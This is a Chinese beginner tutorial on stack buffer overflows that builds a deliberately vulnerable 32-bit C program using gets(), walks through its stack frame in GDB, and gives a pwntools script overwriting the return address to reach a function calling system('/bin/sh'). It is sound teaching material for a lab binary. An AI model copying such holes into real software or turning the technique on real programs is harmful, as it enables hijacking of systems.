PWN入门之Stack Overflow
Stack Overflow是一种程序的运行时(runtime)错误,中文翻译过来叫做“栈溢出”。栈溢出原理是指程序向栈中的某个变量中写入的字节数超过了这个变量本身所申请的字节数,导致与其相邻的栈中的变量值被改变。
在本篇文章中,我详细介绍了如何利用程序中本身存在的栈溢出漏洞,达到劫持程序流的目的,进而实现system("/bin/sh")的效果,如果你也对这个知识点感兴趣,欢迎阅读全文,内容篇幅较长,阅读时长约12分钟。
C语言程序
来分析劫持程序流的过程
#include <stdio.h>
#include <string.h>
void success() { puts("You Hava already controlled it.");system("/bin/sh"); }
void vulnerable() {char s[12];gets(s);puts(s);return;
}
int main(int argc, char **argv) {vulnerable();return 0;
}
#编译
gcc -m32 -fno-stack-protector 1.c -o hello_world -z execstack
编译后用checksec确认,Canary、PIE、NX,这三个表示三种保护方式,此demo不涉及绕过保护方式,因此保护全关。

运行
从运行的角度看程序

可以看到,我们在键盘上输入的东西,会在显示器再输出一遍,这是因为在vulnerable( )函数中的get( )、puts()两个函数的原因。
我们来从运行的角度来分析一下C语言程序,程序会认为main函数是入口,首先会执行main函数,main函数中调用vulnerable函数,之后再返回main函数,至此程序结束。
但是发现这里还有一个函数是success函数,里面有system("/bin/sh")这个内置的危险函数,试想一下,如果能够在程序运行的过程中,劫持程序流,是不是就能够通过这个二进制程序拿到此机器的shell。

从汇编的角度看程序
main函数的地址为0x080484BB
vulnerable函数的地址为0x08048494
success函数的地址为0x0804846B
plt表和got表中有gets 、puts、system等函数,这些是属于内置函数,在程序运行的过程中,有动态链**接的过程。
main函数

在vulnerable函数中,主要就是gets和puts函数,这里我们注意一下,我们就是用vulnerable这个函数来进行程序劫持的。
success函数

打印一句话you have already controlled it,还有就是system("/bin/sh"),要想办法把程序执行到success函数中。
用GDB进行调试

在main函数中下一个断点,开始调试。

进入到vulnerable函数

push ebp
move ebp,esp
sub esp ,0x18在这先记录两个地址
EBP 0xffffd068
ESP 0xffffd05c
这三句汇编语言是经典的开辟栈空间,对于计算机来说,它会认为bp和sp是栈底和栈顶。
在经过push ebp之后

EBP 0xffffd068
ESP 0xffffd058
ebp 存储在了0XFFFFD05C这个位置上,ESP由 0xffffd05c变为了 0xffffd058

所以push ebp做了两个事情,首先是把ebp的值存放在了栈上,然后esp=esp-4。

move ebp,esp这个汇编指令就很简单了,把esp的值复制一份给ebp

现在ebp和esp指向同一位置,都为0xffffd058。
之后是sub esp,0x18

EBP 0xffffd058
ESP 0xffffd040
至此栈空间开辟完成。

再来分析gets和puts函数
0x8048494 <vulnerable> push ebp
0x8048495 <vulnerable+1> mov ebp, esp
0x8048497 <vulnerable+3> sub esp, 0x18
0x804849a <vulnerable+6> sub esp, 0xc
► 0x804849d <vulnerable+9> lea eax, [ebp - 0x14] <0xf7fb9dbc>
0x80484a0 <vulnerable+12> push eax
0x80484a1 <vulnerable+13> call gets@plt <0x8048320>
ebp-0x14=0xffffd058-0x14=0xffffd044

get函数会请求键盘输入

我们输入aaaaaaaabbbbbbbb

从0xffffd044开始填充字符,正好是0x10个字符,接着我们可以看到,0xffffd086这个地址,这是之前的ebp。
我们用多点垃圾字符进行填充,这样就会把ebp的值给覆盖掉了。

接着执行,会看到ret的时候,就不能够返回正常的main函数了。

看一下正常情况,如果是正常情况的话,会返回到main函数中,这里需要注意一个细节,EIP这个寄存器,计算机会执行EIP指向的东西。根据这个原理,就可以进行构造,当ret的时候,EIP指向的东西为success函数的地址即可,这样就可以调用success函数了,从而达到劫持程序流的目的。



单步调试vulnerable函数
进入vulnerable函数之前
EBP 0xffffd068 ◂— 0x0
ESP 0xffffd060 —▸ 0xf7fb83dc (__exit_funcs) —▸ 0xf7fb91e0 (initial) ◂— 0
进入vulnerable函数之后
EBP 0xffffd068 ◂— 0x0
ESP 0xffffd05c —▸ 0x80484d1 (main+22) ◂— mov eax, 0
push ebp ebp压入栈中
EBP 0xffffd068 ◂— 0x0
ESP 0xffffd058 —▸ 0xffffd068 ◂— 0x0
move ebp,esp 导致ebp和esp同一个值
EBP 0xffffd058 —▸ 0xffffd068 ◂— 0x0
ESP 0xffffd058 —▸ 0xffffd068 ◂— 0x0
sub esp,0x18
EBP 0xffffd058 —▸ 0xffffd068 ◂— 0x0
ESP 0xffffd040 ◂— 0x1
sub esp,0xc
EBP 0xffffd058 —▸ 0xffffd068 ◂— 0x0
ESP 0xffffd034 —▸ 0xf7fb8000 (_GLOBAL_OFFSET_TABLE_) ◂— mov al, 0x2d
/* 0x1b2db0 */
add esp,0x10
EBP 0xffffd058 —▸ 0xffffd068 ◂— 0x0
ESP 0xffffd040 ◂— 0x1
sub esp, 0xc
EBP 0xffffd058 —▸ 0xffffd068 ◂— 0x0
ESP 0xffffd034 —▸ 0xf7fb8000 (_GLOBAL_OFFSET_TABLE_) ◂— mov al, 0x2d
/* 0x1b2db0 */
push eax
EBP 0xffffd058 —▸ 0xffffd068 ◂— 0x0
ESP 0xffffd030 —▸ 0xffffd044 ◂— 'aaaa'
add esp,0x10
EBP 0xffffd058 —▸ 0xffffd068 ◂— 0x0
ESP 0xffffd040 ◂— 0x1
leave leave指令分为两步,move esp,ebp pop ebp
也就是说,把bp的值给sp,bp=sp=0xffffd068, 之后是弹出ebp的值,sp=sp-4
EBP 0xffffd068 ◂— 0x0
ESP 0xffffd05c —▸ 0x80484d1 (main+22) ◂— mov eax, 0
ret 相当于pop eip
EBP 0xffffd068 ◂— 0x0
ESP 0xffffd060 —▸ 0xf7fb83dc (__exit_funcs) —▸ 0xf7fb91e0 (initial) ◂— 0

构造的时候首先利用gets函数用垃圾字符把栈空间填满,之后用四个字符覆盖ebp,紧接着加上success函数的地址就可以了。
劫持程序流
第一步算距离
首先我们需要先算出gets函数让我们输入的地方距离EBP的距离,即0xffffd44-0xffffd058=0x14。

第二步用数据填充
0x14就是20个字符,用20个a进行填充。

这是20个字符,接着用4字符覆盖ebp,再加上success函数的地址就可以了。
##coding=utf8
from pwn import *
import pwnlib
context(os = 'linux',arch='amd64',log_level='debug')
## 构造与程序交互的对象
sh = process('./hello_world')
success_addr = 0x0804846B
## 构造payload
payload = 'a' * 0x14 + 'bbbb' + p32(success_addr)
print p32(success_addr)
pwnlib.gdb.attach(sh)
## 向程序发送字符串
sh.sendline(payload)
## 将代码交互转换为手工交互
sh.interactive()

payload = 'a' * 0x14 + 'bbbb' + p32(success_addr) ,原理就是利用变量覆盖栈空间,之后再覆盖掉原始的ebp寄存器的内容,紧接着就是返回地址了,把success函数的地址打进去就可以执行success函数了。

相关文章:
PWN入门之Stack Overflow
Stack Overflow是一种程序的运行时(runtime)错误,中文翻译过来叫做“栈溢出”。栈溢出原理是指程序向栈中的某个变量中写入的字节数超过了这个变量本身所申请的字节数,导致与其相邻的栈中的变量值被改变。 在本篇文章中ÿ…...
QT:label标签/进度条的使用
文章目录 设置不同格式的文本显示图片文本对齐/自动换行/缩进/边距LCDNumber倒计时 ProgressBar进度条 设置不同格式的文本 在文本格式中,存在富文本,makedown格式的文本,还有纯文本,下面就依据这三个进行举例 #include "w…...
网络初始化配置
IPADDR192.168.23.10 #新的ip地址,ip的网段要与nat模式下的网段一致 NETMASK255.255.255.0 #子网掩码 GATEWAY192.168.23.2 #网关 DNS1114.114.114.114 #域名解析:配置为国内114.114.114.114,国外8.8.8.8 ONBOOTtrue 启动时该网卡…...
在Ubuntu上搭建并通过systemctl管理Minecraft Java版服务器
本教程将详细介绍如何在Ubuntu操作系统上搭建一个Minecraft Java版服务器,并使用systemctl服务来管理服务器的启动、停止和重启。同时,我们还将探讨如何通过NGINX设置TCP/UDP转发,使得玩家能够通过域名方便地连接到你的Minecraft服务器。 准…...
【C++PCL】点云处理ESF描述符
作者:迅卓科技 简介:本人从事过多项点云项目,并且负责的项目均已得到好评! 公众号:迅卓科技,一个可以让您可以学习点云的好地方 重点:每个模块都有参数如何调试的讲解,即调试某个参数对结果的影响是什么,大家有问题可以评论哈,如果文章有错误的地方,欢迎来指出错误的…...
鸿蒙应用开发系列 篇二:鸿蒙系统开发工具与环境
文章目录 系列文章硬件与软件需求DevEco Studio扩展工具与框架开发资源系列文章 鸿蒙应用开发系列 篇一:鸿蒙系统概述 鸿蒙应用开发系列 篇二:鸿蒙系统开发工具与环境 (系列计划预告) 鸿蒙系统UI/UX设计 鸿蒙系统应用开发基础 鸿蒙系统高级开发技术 鸿蒙系统特色功能开发 …...
“A”分心得:我的云计算HCIE学习之路
大家好,我是誉天云计算HCIE周末班梁同学,在誉天老师和同学们的帮助下,我终于在4月24日顺利通过了云计算3.0 HCIE的认证考试,而且获得了A,这是让我特别惊喜的,功夫不负有心人。 我日常的工作是网络运维&…...
现代信号处理8_递归的最小二乘(CSDN_20240505)
递归的最小二乘大约出现在50年前。递归,就是在已经算出的结果的基础下,当新的数据到来时,不需要再对数据进行一次完整的运算,而是在已有结果的基础上做一些简单的调整,就能得到新的结果。使用递归的好处: …...
2024年全国保密宣传教育月的主题是()。A.贯彻落实保密法。你我都是护密人B.国家利益高于一切,保密责任重于泰山C.筑牢保密防线,维护国家安全
2024年全国保密宣传教育月的主题是()。点击查看答案 A.贯彻落实保密法。你我都是护密人B.国家利益高于一切,保密责任重于泰山 C.筑牢保密防线,维护国家安全D.共筑保密防线,公民人人有责 坚持不懈开展保密宣传教育,是保密工作实…...
一个通过照片识别地理位置的应用
一个通过照片识别地理位置的应用 引言 最近发现一个能根据照片进行地理位置判定的应用,在全球范围内能够非常准确地进行空间位置识别。我分3个尺度进行了测试,分别是城市街景(来源google和腾讯街景)、野外街景和我自己拍摄的照片…...
wordpress外贸独立站建站10要10不要
创建一个成功的WordPress外贸独立站需要注意很多因素。以下是zhanyes根据多年建站经验总结的wordpress外贸独立站建站的10个建议和10个避免的事项,以帮助您建立一个高质量的外贸网站: 10个要: 1. 要选择合适的域名:确保您的域名…...
搬运5款小众,无广告,实用性拉满的软件
你是否喜欢一些小众且无广告的软件?如果是的话,我这边有一些给你推荐的。 1.屏幕录制——OBS Studio OBS Studio是一款广泛使用的实时流媒体和屏幕录制软件,适用于Windows、MacOS、Linux平台。它采用C、C和Qt编写,提供高质…...
TCP重传,滑动窗口,流量控制,拥塞控制
TCP重传,滑动窗口,流量控制,拥塞控制 TCP重传机制: 超时重传快速重传SACKD-SACK 通过序列号与确认应答判断是否要重传 超时重传: 超过指定时间没有收到确认应答报文,就会重发该数据 触发超时重传的情况…...
云手机对出海企业有什么帮助?
近些年,越来越多的企业开始向海外拓展,意图发掘更广阔的市场。在这过程中,云手机作为一个新型工具为很多企业提供了助力,尤其在解决海外市场拓展过程中的诸多挑战方面发挥着作用。 首先,云手机的出现解决了企业在海外拓…...
Android Studio实现简单的自定义钟表
项目目录 一、项目概述二、开发环境三、详细设计3.1、尺寸设置3.2、绘制表盘和指针3.3、动态效果 四、运行演示五、总结展望六、源码获取 一、项目概述 在安卓开发中,当系统自带的View已经无法满足项目需求时,就要自定义View。在Android中是没有与钟表有…...
C语言 举例说明循环嵌套
今天 我们来说循环的嵌套 如果一个循环体内 又包含了另一个循环结构 我们称之为循环的嵌套 我们之前学的 While do-while for 都可以进行相互的嵌套 如下图 在 While 循环语句中再嵌套一个 While 循环语句 do-while 中嵌套 do-while for中嵌套 for 例如 我们做一个九九乘法…...
一、ESP32基础知识
1、乐鑫产品线 系列特点ESP8266无ESP32无ESP32-S2无ESP32-C3无ESP32-S3无ESP32-C2/ESP8684无ESP32-C6无ESP32-H2无 2、开发方式 2.1、ESP-IDF (1)面向专业开发者。乐鑫官方开发框架,专门为ESP32系列芯片设计。支持C/C语言,并提供一套完整的API&#…...
我希望未来10年,人工智能可以帮我解决这4件小事
生活在一线大城市的我,现在几乎整天被大数据、人工智能、机器学习、智慧生活的词汇环绕立体包围着,让我时刻感觉到,再过10年,我们五一假期真的可以摆脱现在擦肩接踵的旅游盛况了。但我其实要求倒是没这么高,我真心希望…...
使用jdbc方式操作ClickHouse
1、创建测试表,和插入测试数据 create table t_order01(id UInt32,sku_id String,total_amount Decimal(16,2),create_time Datetime ) engine MergeTreepartition by toYYYYMMDD(create_time)primary key (id)order by (id,sku_id);insert into t_order01 values …...
百面算法工程师 | 支持向量机——SVM
文章目录 15.1 SVM15.2 SVM原理15.3 SVM解决问题的类型15.4 核函数的作用以及特点15.5 核函数的表达式15.6 SVM为什么引入对偶问题15.7 SVM使用SGD及步骤15.8 为什么SVM对缺失数据敏感15.9 SVM怎么防止过拟合 欢迎大家订阅我的专栏一起学习共同进步 祝大家早日拿到offer&#x…...
7.4.分块查找
一.分块查找的算法思想: 1.实例: 以上述图片的顺序表为例, 该顺序表的数据元素从整体来看是乱序的,但如果把这些数据元素分成一块一块的小区间, 第一个区间[0,1]索引上的数据元素都是小于等于10的, 第二…...
linux之kylin系统nginx的安装
一、nginx的作用 1.可做高性能的web服务器 直接处理静态资源(HTML/CSS/图片等),响应速度远超传统服务器类似apache支持高并发连接 2.反向代理服务器 隐藏后端服务器IP地址,提高安全性 3.负载均衡服务器 支持多种策略分发流量…...
脑机新手指南(八):OpenBCI_GUI:从环境搭建到数据可视化(下)
一、数据处理与分析实战 (一)实时滤波与参数调整 基础滤波操作 60Hz 工频滤波:勾选界面右侧 “60Hz” 复选框,可有效抑制电网干扰(适用于北美地区,欧洲用户可调整为 50Hz)。 平滑处理&…...
VB.net复制Ntag213卡写入UID
本示例使用的发卡器:https://item.taobao.com/item.htm?ftt&id615391857885 一、读取旧Ntag卡的UID和数据 Private Sub Button15_Click(sender As Object, e As EventArgs) Handles Button15.Click轻松读卡技术支持:网站:Dim i, j As IntegerDim cardidhex, …...
java 实现excel文件转pdf | 无水印 | 无限制
文章目录 目录 文章目录 前言 1.项目远程仓库配置 2.pom文件引入相关依赖 3.代码破解 二、Excel转PDF 1.代码实现 2.Aspose.License.xml 授权文件 总结 前言 java处理excel转pdf一直没找到什么好用的免费jar包工具,自己手写的难度,恐怕高级程序员花费一年的事件,也…...
linux arm系统烧录
1、打开瑞芯微程序 2、按住linux arm 的 recover按键 插入电源 3、当瑞芯微检测到有设备 4、松开recover按键 5、选择升级固件 6、点击固件选择本地刷机的linux arm 镜像 7、点击升级 (忘了有没有这步了 估计有) 刷机程序 和 镜像 就不提供了。要刷的时…...
uniapp手机号一键登录保姆级教程(包含前端和后端)
目录 前置条件创建uniapp项目并关联uniClound云空间开启一键登录模块并开通一键登录服务编写云函数并上传部署获取手机号流程(第一种) 前端直接调用云函数获取手机号(第三种)后台调用云函数获取手机号 错误码常见问题 前置条件 手机安装有sim卡手机开启…...
【网络安全】开源系统getshell漏洞挖掘
审计过程: 在入口文件admin/index.php中: 用户可以通过m,c,a等参数控制加载的文件和方法,在app/system/entrance.php中存在重点代码: 当M_TYPE system并且M_MODULE include时,会设置常量PATH_OWN_FILE为PATH_APP.M_T…...
鸿蒙(HarmonyOS5)实现跳一跳小游戏
下面我将介绍如何使用鸿蒙的ArkUI框架,实现一个简单的跳一跳小游戏。 1. 项目结构 src/main/ets/ ├── MainAbility │ ├── pages │ │ ├── Index.ets // 主页面 │ │ └── GamePage.ets // 游戏页面 │ └── model │ …...
Windows 下端口占用排查与释放全攻略
Windows 下端口占用排查与释放全攻略 在开发和运维过程中,经常会遇到端口被占用的问题(如 8080、3306 等常用端口)。本文将详细介绍如何通过命令行和图形化界面快速定位并释放被占用的端口,帮助你高效解决此类问题。 一、准…...
